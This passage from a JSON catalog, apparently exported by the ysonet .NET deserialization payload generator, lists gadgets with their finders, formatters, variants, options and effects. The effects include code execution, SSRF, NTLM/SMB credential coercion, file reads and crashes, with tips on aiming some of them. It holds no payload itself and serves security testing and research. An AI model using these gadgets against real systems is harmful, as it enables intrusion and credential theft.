"Chain of arbitrary getter call"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "Json.NET", "declaration": "Json.NET (4)"}, {"name": "Xaml", "declaration": "Xaml (5)"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Variant number. The (N) formatter suffix counts these variants; bare MessagePack formatters support only variant 1. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, \r\n2 - ComboBox getter-call gadget (may execute code twice)\r\n3 - ListBox getter-call gadget\r\n4 - CheckedListBox getter-call gadget\r\n5 - BindingSource getter-call gadget (Xaml only; a Component, so no WinForms control is built on the target)\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4, 5.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4", "5"]}], "variants": [{"number": 1, "label": "PropertyGrid getter (default; only option for MessagePack)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "ComboBox getter", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["MessagePackTypeless", "MessagePackTypelessLz4"], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "ListBox getter", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["MessagePackTypeless", "MessagePackTypelessLz4"], "unusedOptions": [], "refusesSelfTest": false}, {"number": 4, "label": "CheckedListBox getter", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["MessagePackTypeless", "MessagePackTypelessLz4"], "unusedOptions": [], "refusesSelfTest": false}, {"number": 5, "label": "BindingSource getter (Xaml only; no Control is built)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["Json.NET", "MessagePackTypeless", "MessagePackTypelessLz4"], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["Json.NET", "Xaml", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["Json.NET", "Xaml"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["nested-deserialization"], "formatters": ["Json.NET", "Xaml"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 4, "kinds": ["nested-deserialization"], "formatters": ["Json.NET", "Xaml"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 5, "kinds": ["nested-deserialization"], "formatters": ["Xaml"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.GetterSettingsPropertyValueGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "HashPEFileHandle", "description": "CLR v2 adopts -c as a native PE-file handle in System.Security.Policy.Hash, which may later crash or corrupt the target process when native code consumes or releases it. .NET 4 removed the branch. No code execution or memory read/write is proved.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "MemoryAddress", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["denial-of-service"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["other"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-2.0"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.HashPEFileHandleGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "InfiniteProgressPage", "description": "Microsoft.ApplicationId.Framework.InfiniteProgressPage loads the supplied HTTP, HTTPS, FTP, or file URL through AnimatedPictureFile. This can trigger SSRF or NTLM authentication. The target needs Microsoft.ApplicationId.Framework.", "labels": ["An independent gadget"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network"], "formatters": ["Json.NET", "FastJson", "JavaScriptSerializer", "YamlDotNet", "SharpSerializerXml", "Xaml"], "inputs": ["remote-url"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.InfiniteProgressPageGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ObjectDataProvider", "description": "Reaching a .NET Framework 3.5 target needs --legacyfx, which rewrites the PresentationFramework identity to 3.0.0.0. Measured there on XmlSerializer and JavaScriptSerializer; DataContractSerializer binds every assembly and still fails to build the projected property on the 3.0 reader. The two MessagePack Typeless cells depend on the target's MessagePack version: MessagePack carries its own hardcoded deny list, and System.Windows.Data.ObjectDataProvider joined it in 2.5.205 and in 3.1.5. Below those (2.5.198 and 3.1.4 and older, which is every release the technique was published against) the list held only TempFileCollection and IWbemClassObjectFreeThreaded and the payload fires; on 2.5.205+ or 3.1.5+ the reader refuses it by name and nothing runs.", "labels": ["An independent gadget"], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Alvaro Munoz, Soroush Dalili, Dane Evans", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml (2)"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "XmlSerializer", "declaration": "XmlSerializer (2)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer (2)"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "FsPickler", "declaration": "FsPickler"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number. The (N) formatter suffix counts these variants; bare formatters support only variant 1. Choices: 1, 2 based on formatter. NOTE: two variants left this gadget. Variant 3 was the ResourceDictionary XAML-url payload and is now the ResourceDictionary gadget, whose -c is the URI. Variant 4 was the WorkflowDesigner wrapper and is now the WorkflowDesigner gadget, which also reaches Json.NET, FastJson, JavaScriptSerializer, both SharpSerializer modes and both MessagePack Typeless flavours.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "plain ObjectDataProvider (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "ResourceDictionary wrapper (Xaml) / LosFormatter inner (XmlSerializer)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["Json.NET", "FastJson", "JavaScriptSerializer", "YamlDotNet", "FsPickler", "SharpSerializerBinary", "SharpSerializerXml", "MessagePackTypeless", "MessagePackTypelessLz4"], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["Xaml", "Json.NET", "FastJson", "JavaScriptSerializer", "XmlSerializer", "DataContractSerializer", "YamlDotNet", "FsPickler", "SharpSerializerBinary", "SharpSerializerXml", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["command"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["Xaml", "XmlSerializer", "DataContractSerializer"], "inputs": ["command"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ObjectDataProviderGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ObjRef", "description": "", "labels": ["An independent gadget"], "credit": "[Finders: Markus Wulftange]", "finders": "Markus Wulftange", "contributors": "", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["remote-url"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-2.0", "net-fx-3.0", "net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ObjRefGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "PictureBox", "description": "System.Windows.Forms.PictureBox loads the supplied HTTP, HTTPS, FTP, or file URL through ImageLocation. This can trigger SSRF or NTLM authentication.", "labels": ["An independent gadget"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network"], "formatters": ["Json.NET", "FastJson", "JavaScriptSerializer", "YamlDotNet", "MessagePackTypeless", "MessagePackTypelessLz4", "SharpSerializerXml", "Xaml"], "inputs": ["remote-url"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.PictureBoxGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "PSObject", "description": "Target must run on a system not patched for CVE-2017-8565 (Published: 07/11/2017)", "labels": [], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Alvaro Munoz", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.PSObjectGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ResourceDictionary", "description": "ResourceDictionary.Source makes the target fetch -c and load it as WPF markup. A UNC path instead coerces an SMB session, which sends authentication material.", "labels": ["An independent gadget"], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Soroush Dalili]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Soroush Dalili", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network", "code-execution", "nested-deserialization"], "formatters": ["Xaml"], "inputs": ["remote-url", "unc-path", "target-path"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ResourceDictionaryGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ResourceSet", "description": "", "labels": ["Valuable for special cases or research purposes but hidden from normal search"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "ig|internalgadget=", "aliases": ["ig", "internalgadget"], "description": "The numerical internal gadget choice to use: 1=TypeConfuseDelegate, 2=TextFormattingRunProperties (default: 1 [TypeConfuseDelegate])\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "TypeConfuseDelegate internal gadget (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "TextFormattingRunProperties internal gadget", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ResourceSetGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ResXFileRef", "description": "Runs the ResXFileRef type converter on the target, which opens the -c path (a UNC path works) and builds the type named in the payload. The type name decides the effect, so pick the variant that matches what you want.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "TargetPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml (3)"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0 (3)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which of the converter's branches the payload asks for. All three open -c on the target and differ only in the TYPE NAME the payload carries, which is what the converter does with the bytes. Choices:\r\n1 - read the file back. The type name is System.String, so the target runs StreamReader(path, encoding).ReadToEnd() and the file's TEXT becomes the deserialized value. Use --enc to pick the encoding. -t reads the file on THIS machine.\r\n2 (default) - load a .resources file. The type name is System.Resources.ResourceSet, whose Stream constructor runs a plain BinaryFormatter over the file, so -c should point at a .resources document you host (build one with -p Resx -m CompiledDotResources). -t deserializes the payload HERE, which runs that BinaryFormatter over -c on THIS machine (a self-exploit) - only -t a .resources file you trust.\r\n3 (research) - activate a type you name with --type. The target reads the whole file into a MemoryStream and calls Activator.CreateInstance(yourType, ..., new object[]{ stream }), so the type needs one public instance constructor taking a Stream. This is an escape hatch, NOT a stronger version of variant 2: what happens is decided by the type you chose and ysonet cannot know it. -t activates that type on THIS machine, so only -t a type and file you trust.\nDefault value: \"2\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "2", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}, {"prototype": "type=", "aliases": ["type"], "description": "Variant 3 only: the type the TARGET resolves with Type.GetType and then activates with the file's bytes. Give an assembly qualified name (\"Some.Namespace.SomeType, SomeAssembly\") unless it is an mscorlib type, which resolves from its bare name. It must have a public instance constructor taking one System.IO.Stream; a name that does not resolve makes the target throw, loudly, before anything is read.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "enc=", "aliases": ["enc"], "description": "Variant 1 only: the encoding name the target passes to Encoding.GetEncoding for the text read, for example utf-8 or windows-1252. Leave it out and the target uses Encoding.Default.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "Read the file back: the target returns the file's text as the value", "isDefault": false, "commandInput": "TargetPath", "unsupportedFormatters": [], "unusedOptions": ["type"], "refusesSelfTest": false}, {"number": 2, "label": "Load a .resources file: the target's ResourceSet reads it with BinaryFormatter (default)", "isDefault": true, "commandInput": "TargetPath", "unsupportedFormatters": [], "unusedOptions": ["type", "enc"], "refusesSelfTest": false}, {"number": 3, "label": "Activate a type you name, with the file's bytes as its Stream argument - NOT necessarily code execution", "isDefault": false, "commandInput": "TargetPath", "unsupportedFormatters": [], "unusedOptions": ["enc"], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["file-system", "information-disclosure", "network"], "formatters": ["Xaml", "YamlDotNet"], "inputs": ["target-path", "unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["file-system", "nested-deserialization", "code-execution", "network"], "formatters": ["Xaml", "YamlDotNet"], "inputs": ["target-path", "unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["file-system", "other"], "formatters": ["Xaml", "YamlDotNet"], "inputs": ["target-path", "unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ResXFileRefGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "RolePrincipal", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.RolePrincipalGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "SessionSecurityToken", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili]", "finders": "@mufinnnnnnn, Soroush Dalili", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.SessionSecurityTokenGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "SessionViewStateHistoryItem", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "LosFormatter", 